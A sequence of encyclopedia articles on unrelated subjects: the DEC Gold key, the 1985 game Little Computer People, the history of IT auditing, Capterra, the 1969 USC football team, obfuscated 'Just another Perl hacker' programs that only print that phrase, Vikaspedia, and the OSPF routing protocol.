As personal computers began to replace serial terminals even in their core role of talking to central host computers, DEC itself supplied its new Rainbow PC with a Gold Key Country Kit for use with VAX ALL-IN-1.
Emacs offers an EDT emulator package which supports both physical and virtual VT100-style terminals. There is a slight complication for virtual (xterm-style) terminals which run on top of a host PC operating system, in that the Num lock key cannot be remapped to the Gold key at the level of Emacs; instead, it is remapped at the level of the X server (instructions provided). As of the latest stable release of Emacs (2013), EDT and Gold key support is a current feature.
Note that software can never quite achieve full functional fidelity across desktop platforms simply because keypad hardware differs:
the PC numeric keypad has only 17 keys,
the VT100 terminal and LK201 keyboard each have 18 (not including arrow keys),
and the VT52 numeric keypad has 19 keys.
References
External links
VT100 keypad with text editor functions overlay, Gold key labeled "GOLD"
LK201 keypad with word processor functions keycaps, Gold key colored gold
Computer keys
DEC hardware
Text editor features
Word processors
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1118645
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https://en.wikipedia.org/wiki/Little%20Computer%20People
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Little Computer People
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Little Computer People, also called House-on-a-Disk, is a social simulation game released in 1985 by Activision for the
Commodore 64, Sinclair ZX Spectrum, Amstrad CPC, Atari ST and Apple II. An Amiga version was released in 1987. Two Japanese versions were also released in 1987, a Family Computer Disk System version, published in Japan by DOG (a subsidiary of Square), and a PC-8801 version.
Gameplay
The game has no winning conditions, and one setting: a sideways view of the inside of a three-story house. After a short time, an animated character will move in and occupy the house. He goes about a daily routine, doing everyday things like cooking, watching television or reading the newspaper. Players are able to interact with this person in various ways, including entering simple commands for the character to perform, playing a game of poker with him and offering presents. On occasion, the character initiates contact on his own, inviting the player to a game or writing a letter explaining his feelings and needs. Each copy of the game generates its own unique character, so no two copies play exactly the same. The character's name is randomly selected from a list of 256 names.
The documentation that accompanied the game fully kept up the pretense of the "little people" being real, and living inside one's computer (the software merely "bringing them out"), with the player as their caretaker.
Two versions of the game existed for the Commodore 64: the disk version, which played as described above, and the cassette version, which omitted several features. On tape versions, the Little Computer Person was generated from scratch every time the game was started up (not only on the first boot, as with other versions), and thus did not go through the "moving in" sequence seen on other versions. Also, on cassette versions the Computer Person had no memory, and did not communicate meaningfully with the user; and the card games, such as poker, could not be played.
Copy protection
In pirated copies of the game on the Atari ST (and possibly other platforms) the game would load, but the character would simply stand knocking on the screen and wagging a finger at the player disapprovingly.
Add-ons
According to "High Score!", add-ons were planned, such as diskettes filled with new furniture and an "LCP Apartment" in an apartment building, with the LCPs all interacting. These add-ons, also described in terms of a sequel expanding on the LCP concept, never materialized.
Reception
Roy Wagner reviewed the game for Computer Gaming World, and stated that "The game is more cute than fun or challenging. The range of activities are limited and not very exciting, but can be interesting. The "game" is ideally suited for children. It does a good job of teaching about caring for another."
Little Computer People earned a Zzap!64 Gold Medal Award in 1985. Jerry Pournelle of BYTE named it his game of the month for December 1986, stating "That's not strictly a game, but it sure has consumed all the game time we have around here" and that the Amiga version's graphics were preferable to the Atari ST's. Compute! favorably reviewed the Atari ST version in 1987, stating that it had "enormous and subtle educational appeal" to children and others. The magazine concluded that Little Computer People "is a delightful program".
The game was voted best original game of the year at the 1986 Golden Joystick Awards.
Japanese versions
Apple Town Story
is a port of Little Computer People to the Family Computer Disk System. The port was released by Square of Final Fantasy fame in 1987. Unlike previous versions of Little Computer People, the playable character is a girl wearing a pink dress and bow in her hair. The rooms of the house are also in a different configuration, featuring an outdoor balcony on the top floor. When the game is first played, a name for the character is chosen at random from a preprogrammed list. Apple Town Story lacks many of the features found in other versions of Little Computer People. The game's soundtrack was written by Nobuo Uematsu, who would later become recognized for his work in the Final Fantasy series.
PC-8801 version
In December 1987, a second Japanese version of the game was released for the PC-8801 computer, titled Little Computer People (リトルコンピュータピープル). Like Apple Town Story, this game also features a female character, only older and more glamorous in appearance. Aside from the character, this version of the game is far more like the original in all other respects.
Legacy
Will Wright, designer of The Sims, has mentioned playing Little Computer People and receiving valuable feedback on The Sims from its designer, Rich Gold.
References
External links
Little Computer People Information Preservation Article filed under Pac-Man's Notes at Pac-Attack.com
Little Computer People Research Project (extensive information on C64 version) at The-Commodore-Zone
Legends of the C64 article on David Crane (includes Little Computer People info)
Technical information on how the random characters were generated at Software Preservation Society
1985 video games
1987 video games
Activision games
Amiga games
Amstrad CPC games
Apple II games
Atari ST games
Commodore 64 games
Famicom Disk System games
NEC PC-8801 games
NEC PC-9801 games
ZX Spectrum games
God games
Social simulation video games
Square (video game company) games
Video games developed in the United States
Video games scored by Nobuo Uematsu
|
1980416
|
https://en.wikipedia.org/wiki/History%20of%20information%20technology%20auditing
|
History of information technology auditing
|
Information Technology Auditing (IT auditing) began as Electronic Data Process (EDP) Auditing and developed largely as a result of the rise in technology in accounting systems, the need for IT control, and the impact of computers on the ability to perform attestation services. The last few years have been an exciting time in the world of IT auditing as a result of the accounting scandals and increased regulation. IT auditing has had a relatively short yet rich history when compared to auditing as a whole and remains an ever-changing field.
The introduction of computer technology into accounting systems changed the way data was stored, retrieved and controlled. It is believed that the first use of a computerized accounting system was at General Electric in 1954. During the time period of 1954 to the mid-1960s, the auditing profession was still auditing around the computer. At this time only mainframe computers were used and few people had the skills and abilities to program computers. This began to change in the mid-1960s with the introduction of new, smaller and less expensive machines. This increased the use of computers in businesses and with it came the need for auditors to become familiar with EDP concepts in business. Along with the increase in computer use, came the rise of different types of accounting systems. The industry soon realized that they needed to develop their own software and the first of the generalized audit software (GAS) was developed. In 1968, the American Institute of Certified Public Accountants (AICPA) had the Big Eight (now the Big Four) accounting firms participate in the development of EDP auditing. The result of this was the release of Auditing & EDP. The book included how to document EDP audits and examples of how to process internal control reviews.
Around this time EDP auditors formed the Electronic Data Processing Auditors Association (EDPAA). The goal of the association was to produce guidelines, procedures and standards for EDP audits. In 1977, the first edition of Control Objectives was published. This publication is now known as Control Objectives for Information and related Technology (CobiT). CobiT is the set of generally accepted IT control objectives for IT auditors. In 1994, EDPAA changed its name to Information Systems Audit and Control Association (ISACA). The period from the late 1960s through today has seen rapid changes in technology from the microcomputer and networking to the internet and with these changes came some major events that change IT auditing forever.
The formation and rise in popularity of the Internet and E-commerce have had significant influences on the growth of IT audit. The Internet influences the lives of most of the world and is a place of increased business, entertainment and crime. IT auditing helps organizations and individuals on the Internet find security while helping commerce and communications to flourish.
Major Events
There are five major events in U.S. history which have had significant impact on the growth of IT auditing. These are the Equity Funding scandal, the development of the Internet and E-commerce, the 1998 IT failure at AT&T Corporation, the Enron and Arthur Andersen LLP scandal, and the September 11, 2001 Attacks.
These events have not only heightened the need for more reliable, accurate, and secure systems but have brought a much needed focus to the importance of the accounting profession. Accountants certify the accuracy of public company financial statements and add confidence to financial markets. The heightened focus on the industry has brought improved control and higher standards for all working in accounting, especially those involved in IT auditing.
Equity Funding Corporation of America
The first known case of misuse of information technology occurred at Equity Funding Corporation of America. Beginning in 1964 and continuing on until 1973, managers for the company booked false insurance policies to show greater profits, thus boosting the price of the stock of the company. If it wasn't for a whistle blower, the fraud may have never been caught. After the fraud was discovered, it took the auditing firm Touche Ross two years to confirm that the insurance policies were not real. This was one of the first cases where auditors had to audit through the computer rather than around the computer.
AT&T
In 1998 AT&T suffered an IT failure that impacted worldwide commerce and communication. A major switch failed due to software and procedural errors and left many credit card users unable to access funds for upwards this brought to the forefront our reliance in IT services and reminds us of the need for assurance in our computer systems.
Enron and Arthur Andersen
The Enron and Arthur Andersen LLP scandal led to the demise of a foremost Accounting firm, an investor loss of more than 60 billion dollars and the largest bankruptcy in U.S. history. Although found guilty of obstruction of justice for their role in the collapse of the energy giant in the US District Court for the Southern District of Texas (and affirmed by the 5th Circuit in 2004), the conviction was overturned by the US Supreme Court in Arthur Andersen LLP v. United States. This scandal had a significant impact on the Sarbanes-Oxley Act and was a major self-regulation violation.
See also
Government Accountability Office
Information technology audit main page
References
Senft, Sandra; Manson, Danial P. PhD; Gonzales, Carol; Gallegos, Frederick (2004). Information Technology Control and Audit (2nd Ed.). Auerbach Publications.
External links
Spiraling Upward-History of Internal Auditing and the Institute of Internal Auditors
Systems Auditability and Control-A History
History of the Privacy Act of 1974
Computer Fraud Abuse Act
Electronic the Institute of Internal Auditors
Systems Auditability and Control-A History
History of the Privacy Act of 1974
Computer Fraud Abuse Act
Electronic Privacy Information Center-Computer Security Act of 1987
Federal Trade Commission-Privacy Act of 1974
AICPA-Summary of Sarbanes Oxley Act of 2002
Financial Privacy: The Gramm Leach Bliley Act
Reference Library: Regulation
California Financial Information Privacy Act
Financial Accounting Standards Board
Information technology auditing
Information technology audit
|
36151439
|
https://en.wikipedia.org/wiki/Capterra
|
Capterra
|
Capterra, Inc. is a free online marketplace vendor serving as an intermediary between buyers and technology vendors within the software industry. The company assists consumers with selecting software for their needs with user reviews and research.
History
The company was founded in 1999 by Michael Ortner and Rakesh Chilakapati. It is based in Arlington, Virginia. The company uses a pay-per-click model. Vendors can bid on the basis of software category & listing position. Apart from Capterra, vendors get the option to advertise on other channels like Software Advice, GetApp, SoftwareSuggest and Technology Counter. All these platforms have paid listing as well as organic listings based on reviews. Capterra was on the list of the Inc. magazine's 2007 ranking of the 5000 fastest-growing private U.S. companies. By the end of 2007, there were nearly 10,000 software vendors advertised on the website. In 2009, the site allowed software users to leave reviews.
In September 2015, Capterra was acquired by Gartner for $206.2 million and became a part of its strategy to expand its business within the software industry. It is reported that Vista Point Advisors acted as a financial advisor to Capterra before and during the transition to Gartner.
In 2018 Capterra conducted a Top Tech trends survey on how small businesses manage technology investments and consider project management software. In August 2019, Capterra is reported to have delivered 1 million software reviews on its platform.
In 2020, Capterra conducted a series of surveys to analyze the impact of the COVID-19 pandemic on the software business including digital payments and tech industry employment.
Industry recognition
Inc. 5000 Fastest Growing Private Business 2007-2009
Radius.com Best B2B Holiday Campaigns 2013
Interactive Media Award for Outstanding Achievement in the Software Industry, 2008 and 2009
Ranked #25 on Virginia Chamber of Commerce Fantastic 50, 2007
See also
Business-to-business
Pay per click
References
External links
Official Capterra Australia
Official Capterra UK
Official Capterra Ireland
American review websites
Companies based in Virginia
Information technology consulting firms of the United States
Software companies established in 1999
|
30428627
|
https://en.wikipedia.org/wiki/1969%20USC%20Trojans%20football%20team
|
1969 USC Trojans football team
|
The 1969 USC Trojans football team represented the University of Southern California (USC) in the 1969 NCAA University Division football season. In their tenth year under head coach John McKay, the Trojans compiled a 10–0–1 record (6–0 against conference opponents), won the Pacific-8 Conference (Pac-8) championship, defeated Michigan in the Rose Bowl, and outscored their opponents 261 to 128. The team was ranked third in the final AP Poll and fourth in the final Coaches Poll.
Jim Jones led the team in passing, completing 88 of 210 passes for 1,230 yards with 13 touchdowns and 10 interceptions. Clarence Davis led the team in rushing with 297 carries for 1,357 yards and nine touchdowns. Sam Dickerson led the team in receiving with 24 catches for 473 yards and six touchdowns.
Schedule
Rankings
Game summaries
UCLA
Roster
References
USC
USC Trojans football seasons
Pac-12 Conference football champion seasons
Rose Bowl champion seasons
College football undefeated seasons
USC Trojans football
|
16485
|
https://en.wikipedia.org/wiki/Just%20another%20Perl%20hacker
|
Just another Perl hacker
|
Just another Perl hacker, or JAPH, typically refers to a Perl program that prints "Just another Perl hacker," (the comma is canonical but is occasionally omitted). Short JAPH programs are often used as signatures in online forums, or as T-shirt designs. The phrase or acronym is also occasionally used (without code) for a signature.
JAPH programs are classically done using extremely obfuscated methods, in the spirit of the Obfuscated C Contest. More recently, as the phenomenon has become well-known, the phrase is sometimes used in ordinary examples (without obfuscation).
The idea of using tiny Perl programs that print a signature as a signature was originated by Randal L. Schwartz, in his postings to the newsgroup comp.lang.perl. He wrote many of the JAPHs which are shown below.
Examples
JAPH program without obfuscation:
print "Just another Perl hacker,";
Embedding JAPH in opaque code:
$_='987;s/^(\d+)/$1-1/e;$1?eval:print"Just another Perl hacker,"';eval;
Decoding JAPH from a transposed string literal:
$_="krJhruaesrltre c a cnP,ohet";$_.=$1,print$2while s/(..)(.)//;
Printing out JAPH as separate processes:
for $i (0..4) {
if (!fork) {
$i == 0 or not { $SIG{INT} = sub { print "J" } } or
$i == 1 or not { $SIG{INT} = sub { print "A" } } or
$i == 2 or not { $SIG{INT} = sub { print "P" } } or
$i == 3 or not { $SIG{INT} = sub { print "H" } } ;
sleep $i;
last;
}
}
kill INT => $$;
Appearing as if it does something completely unrelated to printing JAPH:
$_ = "wftedskaebjgdpjgidbsmnjgc";
tr/a-z/oh, turtleneck Phrase Jar!/; print;
Forking processes to print out one letter each in the correct order:
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
Using only Perl keywords (no punctuation):
not exp log srand xor s qq qx xor
s x x length uc ord and print chr
ord for qw q join use sub tied qx
xor eval xor print qq q q xor int
eval lc q m cos and print chr ord
for qw y abs ne open tied hex exp
ref y m xor scalar srand print qq
q q xor int eval lc qq y sqrt cos
and print chr ord for qw x printf
each return local x y or print qq
s s and eval q s undef or oct xor
time xor ref print chr int ord lc
foreach qw y hex alarm chdir kill
exec return y s gt sin sort split
Using only punctuation, no alphanumeric characters. This breaks after Perl 5.30.0, as using $# and $* create fatal errors. This JAPH was written by Eric Roode and only works on Unix and Unix-like systems:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
A much shorter one, using only punctuation, based on the EyeDrops module:
''=~('(?{'.('-)@.)@_*([]@!@/)(@)@-@),@(@@+@)'
^'][)@]`}`]()`@.@]@%[`}%[@`@!#@%[').',"})')
ASCII art (to make this dromedary-shaped code work, the console size needs to be set to at least 119×48):
#
sub j(\$){($
P,$V)= @_;while($$P=~s:^
([()])::x){ $V+=('('eq$1)?-32:31
}$V+=ord( substr( $$P,0,1,""))-74} sub a{
my($I,$K,$ J,$L)=@_ ;$I=int($I*$M/$Z);$K=int(
$K*$M/$Z);$J=int($J*$M /$Z);$L=int($L*$M/$Z); $G=$
J-$I;$F=$L-$K;$E=(abs($ G)>=abs($F))?$G:$F;($E<0) and($
I,$K)=($J,$L);$E||=.01 ;for($i=0;$i<=abs$E;$i++ ){ $D->{$K
+int($i*$F/$E) }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
Z=$z||.01;map{ $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
%9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
'?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'. 'ZP[Z'.
'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'. '[Z\U'.
'{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'. 'BCB*'.
'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int rand
4];map{printf "\e[$b;%dm",int(rand 6)+101-60* ($w
||0);system( "cls")if$w ;($A,$S)= ($_[1], $
_[0]);($M, @,)= split '}';for( $z=256
;$z>0; $z -=$S){$S*= $A;p @,} sleep$_
[2];while ($_[3]&&($ z+=$ S) <=256){
p@,}}("". "32}7D$j" ."}AG". "$u}OG"
."$s}WG" ."$t","" ."24}(" ."IJ$a"
."}1G$n" ."}CO$o" ."}GG$t" ."}QC"
."$h}" ."^G$e" ."})IG" ."$r",
"32}?" ."H$p}FG$e}QG$r". "}ZC"
."$l", "28}(LC" ."" ."".
"$h}:" ."J$a}EG". "$c"
."}M" ."C$k}ZG". "$e"
."}" ."dG$r","18" ."}("
."D;" ."$C" )}{h(16 ,1,1,0
);h(8, .98,0,0 );h(16 ,1,1,1)
;h(8.0 ,0.98,0, 1); redo}###
#written 060204 by
#liverpole @@@@@@@
#@@@@@@@@@@@
See also
"Hello, World!" program
Obfuscated Perl Contest
Perl golf
References
Further reading
External links
Cultured Perl: The Elegance of JAPH
Cpan.org, a collection of JAPHs at CPAN.
How does this famous JAPh work? and Fun With Reserved Keywords at Stack Overflow explain how blokhead's code works.
Perl
English phrases
Obfuscation
Test items in computer languages
Computer programming folklore
|
41982745
|
https://en.wikipedia.org/wiki/Vikaspedia
|
Vikaspedia
|
Vikaspedia is an online information guide launched by the Government of India. The website was implemented by C-DAC Hyderabad and is run by the Department of Electronics and Information Technology, Ministry of Communications and Information Technology. It is built as a portal for the social sectors, and offers information in 23 languages: English, Assamese, Telugu, Hindi, Bengali, Gujarati, Kannada, Malayalam, Tamil, Bodo, Dogri, Sanskrit, Kashmiri, Konkani, Nepali, Odia, Urdu, Maithili, Meitei, Santali, Sindhi, Punjabi, and Marathi.
It was started on 18 February 2014 and has information in the domains of Agriculture, Health, Education, Social Welfare, Energy and e-Governance. The name of the portal is a portmanteau of the words Vikas (Sanskrit for "Development") and encyclopedia. The portal provides information in local languages in all six given sectors.
References
External links
Official website
Government services web portals in India
Ministry of Communications and Information Technology (India)
Multilingual websites
2014 establishments in India
|
43388
|
https://en.wikipedia.org/wiki/Open%20Shortest%20Path%20First
|
Open Shortest Path First
|
Open Shortest Path First (OSPF) is a routing protocol for Internet Protocol (IP) networks. It uses a link state routing (LSR) algorithm and falls into the group of interior gateway protocols (IGPs), operating within a single autonomous system (AS).
OSPF gathers link state information from available routers and constructs a topology map of the network. The topology is presented as a routing table to the Internet Layer for routing packets by their destination IP address. OSPF supports Internet Protocol Version 4 (IPv4) and Internet Protocol Version 6 (IPv6) networks and supports the Classless Inter-Domain Routing (CIDR) addressing model.
OSPF is widely used in large enterprise networks. IS-IS, another LSR-based protocol, is more common in large service provider networks.
Originally designed in the 1980s, OSPF is defined for IPv4 in protocol version 2 by RFC 2328 (1998). The updates for IPv6 are specified as OSPF Version 3 in RFC 5340 (2008). OSPF supports the Classless Inter-Domain Routing (CIDR) addressing model.
Concepts
OSPF is an interior gateway protocol (IGP) for routing Internet Protocol (IP) packets within a single routing domain, such as an autonomous system. It gathers link state information from available routers and constructs a topology map of the network. The topology is presented as a routing table to the Internet Layer which routes packets based solely on their destination IP address.
OSPF detects changes in the topology, such as link failures, and converges on a new loop-free routing structure within seconds. It computes the shortest-path tree for each route using a method based on Dijkstra's algorithm. The OSPF routing policies for constructing a route table are governed by link metrics associated with each routing interface. Cost factors may be the distance of a router (round-trip time), data throughput of a link, or link availability and reliability, expressed as simple unitless numbers. This provides a dynamic process of traffic load balancing between routes of equal cost.
OSPF divides the network into routing areas to simplify administration and optimize traffic and resource utilization. Areas are identified by 32-bit numbers, expressed either simply in decimal, or often in the same octet-based dot-decimal notation used for IPv4 addresses. By convention, area 0 (zero), or 0.0.0.0, represents the core or backbone area of an OSPF network. While the identifications of other areas may be chosen at will, administrators often select the IP address of a main router in an area as the area identifier. Each additional area must have a connection to the OSPF backbone area. Such connections are maintained by an interconnecting router, known as an area border router (ABR). An ABR maintains separate link-state databases for each area it serves and maintains summarized routes for all areas in the network.
OSPF runs over Internet Protocol Version 4 (IPv4) and Internet Protocol Version 6 (IPv6), but does not use a transport protocol, such as UDP or TCP. It encapsulates its data directly in IP packets with protocol number 89. This is in contrast to other routing protocols, such as the Routing Information Protocol (RIP) and the Border Gateway Protocol (BGP). OSPF implements its own transport error detection and correction functions. OSPF uses multicast addressing for distributing route information within a broadcast domain. It reserves the multicast addresses 224.0.0.5 (IPv4) and FF02::5 (IPv6) for all SPF/link state routers (AllSPFRouters) and 224.0.0.6 (IPv4) and FF02::6 (IPv6) for all Designated Routers (AllDRouters). For non-broadcast networks, special provisions for configuration facilitate neighbor discovery. OSPF multicast IP packets never traverse IP routers, they never travel more than one hop. The protocol may therefore be considered a link layer protocol, but is often also attributed to the application layer in the TCP/IP model. It has a virtual link feature that can be used to create an adjacency tunnel across multiple hops. OSPF over IPv4 can operate securely between routers, optionally using a variety of authentication methods to allow only trusted routers to participate in routing. OSPFv3 (IPv6) relies on standard IPv6 protocol security (IPsec), and has no internal authentication methods.
For routing IP multicast traffic, OSPF supports the Multicast Open Shortest Path First (MOSPF) protocol. Cisco does not include MOSPF in their OSPF implementations. Protocol Independent Multicast (PIM) in conjunction with OSPF or other IGPs, is widely deployed.
OSPF version 3 introduces modifications to the IPv4 implementation of the protocol. Except for virtual links, all neighbor exchanges use IPv6 link-local addressing exclusively. The IPv6 protocol runs per link, rather than based on the subnet. All IP prefix information has been removed from the link-state advertisements and from the hello discovery packet making OSPFv3 essentially protocol-independent. Despite the expanded IP addressing to 128 bits in IPv6, area and router Identifications are still based on 32-bit numbers.
Router relationships
OSPF supports complex networks with multiple routers, including backup routers, to balance traffic load on multiple links to other subnets. Neighboring routers in the same broadcast domain or at each end of a point-to-point link communicate with each other via the OSPF protocol. Routers form adjacencies when they have detected each other. This detection is initiated when a router identifies itself in a hello protocol packet. Upon acknowledgment, this establishes a two-way state and the most basic relationship. The routers in an Ethernet or Frame Relay network select a designated router (DR) and a backup designated router (BDR) which act as a hub to reduce traffic between routers. OSPF uses both unicast and multicast transmission modes to send "hello" packets and link-state updates.
As a link-state routing protocol, OSPF establishes and maintains neighbor relationships for exchanging routing updates with other routers. The neighbor relationship table is called an adjacency database. Two OSPF routers are neighbors if they are members of the same subnet and share the same area ID, subnet mask, timers and authentication. In essence, OSPF neighborship is a relationship between two routers that allow them to see and understand each other but nothing more. OSPF neighbors do not exchange any routing information – the only packets they exchange are hello packets. OSPF adjacencies are formed between selected neighbors and allow them to exchange routing information. Two routers must first be neighbors and only then, can they become adjacent. Two routers become adjacent if at least one of them is designated router or backup designated router (on multiaccess-type networks), or they are interconnected by a point-to-point or point-to-multipoint network type. For forming a neighbor relationship between, the interfaces used to form the relationship must be in the same OSPF area. While an interface may be configured to belong to multiple areas, this is generally not practiced. When configured in a second area, an interface must be configured as a secondary interface.
Operation modes
The OSPF can have different operation modes on the following setups on an interface/network:
Broadcast (default), each router advertises itself by periodically multicasting hello packets, and the use of designated routers. Using multicast
Non-broadcast multi-access, with the use of designated routers. May need static configuration. Packets are sent as unicast,
Point-to-multipoint, where OSPF treats neighbours as point-to-point links. No designated router is elected. Using multicast. Separate hello packets are sent to each neighbor.
Point-to-point. Each router advertises itself by periodically multicasting hello packets. No designated router is elected. The interface can be IP unnumbered (without assigning a unique IP address to it). Using multicast.
Virtual links, the packets are sent as unicast. Can only be configured on a non-backbone area (but not stub-area). Endpoints need to be ABR, the virtual links behave as unnumbered point-to-point connections. The cost of an intra-area path between the two routers is added to the link.
Virtual link over Generic Routing Encapsulation (GRE). Since OSPF does not support virtual links for other areas then the backbone. A workaround is to use GRE over backbone area. Note if the same IP or router ID is used the link creates two equal-cost routes to the destination.
Sham link A link that connects sites that belong to the same OSPF area and share an OSPF backdoor link via MPLS VPN backbone.
Adjacency state machine
Each OSPF router within a network communicates with other neighboring routers on each connecting interface to establish the states of all adjacencies. Every such communication sequence is a separate conversation identified by the pair of router IDs of the communicating neighbors. RFC 2328 specifies the protocol for initiating these conversations (Hello Protocol) and for establishing full adjacencies (Database Description Packets, Link State Request Packets). During its course, each router conversation transitions through a maximum of eight conditions defined by a state machine:
Down: The state down represents the initial state of a conversation when no information has been exchanged and retained between routers with the Hello Protocol.
Attempt: The Attempt state is similar to the Down state, except that a router is in the process of efforts to establish a conversation with another router, but is only used on NBMA networks.
Init: The Init state indicates that a HELLO packet has been received from a neighbor, but the router has not established a two-way conversation.
2-Way: The 2-Way state indicates the establishment of a bidirectional conversation between two routers. This state immediately precedes the establishment of adjacency. This is the lowest state of a router that may be considered as a Designated Router.
ExStart: The ExStart state is the first step of adjacency of two routers.
Exchange: In the Exchange state, a router is sending its link-state database information to the adjacent neighbor. At this state, a router is able to exchange all OSPF routing protocol packets.
Loading: In the Loading state, a router requests the most recent link-state advertisements (LSAs) from its neighbor discovered in the previous state.
Full: The Full state concludes the conversation when the routers are fully adjacent, and the state appears in all router- and network-LSAs. The link state databases of the neighbors are fully synchronized.
OSPF areas
A network is divided into OSPF areas that are logical groupings of hosts and networks. An area includes its connecting router having an interface for each connected network link. Each router maintains a separate link-state database for the area whose information may be summarized towards the rest of the network by the connecting router. Thus, the topology of an area is unknown outside the area. This reduces the routing traffic between parts of an autonomous system.
OSPF can handle thousands of routers with more a concern of reaching capacity of the forwarding information base (FIB) table when the network contains lots of routes and lower-end devices. Modern low-end routers have a full gigabyte of RAM which allows them to handle many routers in an area 0. Many resources refer to OSPF guides from over 20 years ago where it was impressive to have 64 MB of RAM.
Areas are uniquely identified with 32-bit numbers. The area identifiers are commonly written in the dot-decimal notation, familiar from IPv4 addressing. However, they are not IP addresses and may duplicate, without conflict, any IPv4 address. The area identifiers for IPv6 implementations (OSPFv3) also use 32-bit identifiers written in the same notation. When dotted formatting is omitted, most implementations expand area 1 to the area identifier 0.0.0.1, but some have been known to expand it as 1.0.0.0.
Several vendors (Cisco, Allied Telesis, Juniper, Alcatel-Lucent, Huawei, Quagga), implement Totally stubby and NSSA totally stubby area for stub and not-so-stubby areas. Although not covered by RFC standards, they are considered by many to be standard features in OSPF implementations.
OSPF defines several area types:
Backbone
Non-Backbone/regular
Stub,
Totally stubby
Not-so-stubby
Totally Not-so-stubby
Transit.
Backbone area
The backbone area (also known as area 0 or area 0.0.0.0) forms the core of an OSPF network. All other areas are connected to it, either directly or through other routers. OSPF requires this to prevent routing loops. Inter-area routing happens via routers connected to the backbone area and to their own associated areas. It is the logical and physical structure for the 'OSPF domain' and is attached to all nonzero areas in the OSPF domain. Note that in OSPF the term Autonomous System Boundary Router (ASBR) is historic, in the sense that many OSPF domains can coexist in the same Internet-visible autonomous system, RFC 1996.
All OSPF areas must connect to the backbone area. This connection, however, can be through a virtual link. For example, assume area 0.0.0.1 has a physical connection to area 0.0.0.0. Further assume that area 0.0.0.2 has no direct connection to the backbone, but this area does have a connection to area 0.0.0.1. Area 0.0.0.2 can use a virtual link through the transit area 0.0.0.1 to reach the backbone. To be a transit area, an area has to have the transit attribute, so it cannot be stubby in any way.
Regular area
A regular area is just a non-backbone (nonzero) area without specific feature, generating and receiving summary and external LSAs. The backbone area is a special type of such area.
Transit area
A transit area is an area with two or more OSPF border routers and is used to pass network traffic from one adjacent area to another. The transit area does not originate this traffic and is not the destination of such traffic. The backbone area is a special type of transit area.
Examples of this:
Backbone area
In OSPF requires all areas to be directly connected to the backbone area, if not Virtual links have to be used, and the area that it transit called Transit area.
Stub area
In hello packets the E flag is not high, indication "External routing: not capable"
A stub area is an area that does not receive route advertisements external to the AS and routing from within the area is based entirely on a default route. An ABR deletes type 4, 5 LSAs from internal routers, sends them a default route of 0.0.0.0 and turns itself into a default gateway. This reduces LSDB and routing table size for internal routers.
Modifications to the basic concept of stub area have been implemented by systems vendors, such as the totally stubby area (TSA) and the not-so-stubby area (NSSA), both an extension in Cisco Systems routing equipment.
Totally stubby area
A totally stubby area is similar to a stub area. However, this area does not allow summary routes in addition to not having external routes, that is, inter-area (IA) routes are not summarized into totally stubby areas. The only way for traffic to get routed outside the area is a default route which is the only Type-3 LSA advertised into the area. When there is only one route out of the area, fewer routing decisions have to be made by the route processor, which lowers system resource utilization.
Occasionally, it is said that a TSA can have only one ABR.
Not-so-stubby area
In hello packets the N flag is set high, indication "NSSA: supported"
A not-so-stubby area (NSSA) is a type of stub area that can import autonomous system external routes and send them to other areas, but still cannot receive AS-external routes from other areas.
NSSA is an extension of the stub area feature that allows the injection of external routes in a limited fashion into the stub area. A case study simulates an NSSA getting around the Stub Area problem of not being able to import external addresses. It visualizes the following activities: the ASBR imports external addresses with a type 7 LSA, the ABR converts a type 7 LSA to type 5 and floods it to other areas, the ABR acts as an "ASBR" for other areas.
The ASBRs do not take type 5 LSAs and then convert to type 7 LSAs for the area.
Totally Not-so-stubby area
An addition to the standard functionality of an NSSA, the totally stubby NSSA is an NSSA that takes on the attributes of a TSA, meaning that type 3 and 4 summary routes are not flooded into this type of area. It is also possible to declare an area both totally stubby and not-so-stubby, which means that the area will receive only the default route from area 0.0.0.0, but can also contain an autonomous system boundary router (ASBR) that accepts external routing information and injects it into the local area, and from the local area into area 0.0.0.0.
